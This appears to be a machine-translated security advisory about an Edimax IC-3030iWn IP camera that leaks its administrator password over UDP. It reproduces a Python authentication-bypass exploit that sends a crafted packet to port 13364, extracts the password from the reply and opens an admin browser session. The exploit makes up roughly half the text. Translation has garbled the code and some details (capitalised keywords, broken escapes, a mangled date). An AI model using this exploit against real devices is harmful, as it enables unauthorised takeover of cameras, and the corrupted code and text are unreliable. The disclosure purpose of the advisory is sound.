Edimax IC-3030iWn UDP message password information leakage Vulnerability

Release date:
Updated on:

Affected Systems:
Edimax IC-3030iWn
Description:
--------------------------------------------------------------------------------
Bugtraq id: 54006

The Edimax IC-3030iWn is a network monitor.

The Edimax IC-3030iWn does not have a correct authentication mechanism that can be exploited to leak administrator passwords by sending creden。 to clients for authentication.

<* Source: y3dips (y3dips@echo.or.id)

Link: http://secunia.com/advisories/49524/
Http://packetstormsecurity.org/files/113553/Edimax-IC-3030iWn-Authentication-Bypass.html
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Y3dips (y3dips@echo.or.id) provides the following test methods:

#! /Usr/bin/env python
"""
# Exploit Title: Edimax IC-3030iWn Web Admin Auth Bypass exploit
# Date: 4 then l 2012
# Exploit Author: y3dips@echo.or.id, @ y3dips
# URL: http://echo.or.id
# Vendorhomepage: http://www.edimax.com
# Sourcecode Link: http://www.edimax.com/en/produce_detail.php? Pd_id = 352 & pl1_id = 8 & pl2_id = 91
# Also Tested on:
-Edimax IC-3015
-Airlive WN 500
# Bug found by: Ben Schmidt for RXS-3211 IP camera http://www.securityfocus.com/archive/1/518123
# To successfully automate your browser launch, change browser path.
"""

Import socket
Import webbrowser
Import sys

If len (sys. argv )! = 2:
Print "Eg:./edimaxpwned. py edimax-IP"
Sys. exit (1)

Port = 13364
Target = sys. argv [1]

Def read_pw (target, port ):
Devmac = "\ xff"
Code = "\ x00 \ x06 \ xff \ xf9" # for unicast reply
Data = devmac + code
Sock = socket. socket (socket. AF_INET, socket. SOCK_DGRAM)
Sock. connect (target, port ))
Try:
Sock. send (data)
Sock. settimeout (5)
Tmp = sock. recv (4096)
Return tmp
Failed t socket. timeout:
Return None

Def pwned_edi ():
Data = read_pw (target, port)
If data! = None:
Data = data [365: 377]
Pw = data. strip ("\ x00 ")
Webbrowser. get ("/Applications/Firefox. app/Contents/MacOS/firefox-bin % s "). open ('HTTP: // admin: '+ pw +' @ '+ target +'/index. asp ')
Else:
Print "Socket timeOut or not Vulnerable"

Pwned_edi ()

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Edimax
------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.edimax.com.tw/